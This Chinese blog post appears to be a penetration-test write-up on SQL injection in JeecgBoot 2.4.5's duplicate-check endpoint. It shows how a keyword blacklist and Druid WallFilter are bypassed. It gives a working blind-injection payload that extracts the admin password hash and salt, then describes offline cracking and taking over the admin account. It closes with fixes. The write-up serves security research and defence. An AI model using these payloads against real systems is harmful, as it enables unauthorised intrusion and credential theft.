Skip to content
Kurisu
Go back

JeecgBoot 双防线 SQLi 绕过实战

白盒审计一套 JeecgBoot 2.4.5 二开系统,在框架自带的查重接口里挖到 SQL 注入。接口前有两道防线——应用层关键词黑名单和 Druid WallFilter,单看都不结实,叠起来把常规 payload 全废。

漏洞点:框架自带的查重接口

DuplicateCheckController 做”字段值是否重复”查重,即注册页”该用户名已被占用”背后的接口,问题在 SQL:

SELECT COUNT(*) FROM ${tableName} WHERE ${fieldName} = #{fieldVal}

tableName 和 fieldName 都是 ${} 直拼;fieldVal 走 #{} 预编译也没用,前面两个坑够大。审计二开系统别光盯业务代码,基座 controller 要逐个过。

防线一:应用层关键词黑名单

请求先进 SqlInjectionUtil 这类工具类过黑名单,规则有个毛病:关键词都带尾随空格(select 、or 、from )。

整词匹配的规则还能用 /**/ 隔断,这场合用不上——无空格形态已全绕。

防线二:Druid WallFilter

过了黑名单还有 Druid WallFilter,这套配置禁注释——/**/、--、# 全杀。

payload 只能是零注释、零黑名单词的完全合法 SQL,好在 MySQL 合法语法空间够大:

盲注构造

fieldName 在 WHERE 左边,最顺手的打法是换成 if() 表达式:

fieldName=if(1,0x78,0x79)

if(1,'x','y') 返回 'x',WHERE 'x' = 'x'(fieldVal 传 x)成立,COUNT 非零,接口回”该值不可用,系统中已存在”;if(0,...) 返回 'y',条件不成立,回”该值可用”。业务响应本身就是布尔 oracle:

if(1,0x78,0x79) → {"success":false,"message":"该值不可用,系统中已存在!"}
if(0,0x78,0x79) → {"success":true, "message":"该值可用!"}

逐字节拖数据:

if(ascii(substr((select(password)from(sys_user)where(username)=0x61646d696e),1,1))>63,0x78,0x79)

逐位二分,管理员的 password 密文和 salt 就全出来了。

收尾:PBE 离线碰撞

JeecgBoot 存的密码不是裸 MD5,是 PBEWithMD5AndDES(PBKDF1 派生密钥 + DES,迭代 1000 次),盐值就在同一张表里。密文和盐都有,本地脚本离线碰撞——字典首位放 123456。

管理员口令就是 admin/123456,配合图形验证码 OCR 直接登录后台完成接管。

小结

  1. 按”带空格的关键词”写黑名单等于没写:SQL 里空格可换成括号、注释、换行、版本注释。防御要么白名单(标识符只允许字母数字下划线),要么参数化。
  2. 业务响应差异本身就是盲注通道:“可用/不可用”两个状态就是现成的布尔位。

修复:${} 改 #{},tableName/fieldName 走白名单校验,框架版本升到 3.5+。


Share this post:

Previous Post
从指纹到 0day:反搜泄露源码的白盒审计工作流
Next Post
LNMP 源码编译与 DVWA 部署:踩过的坑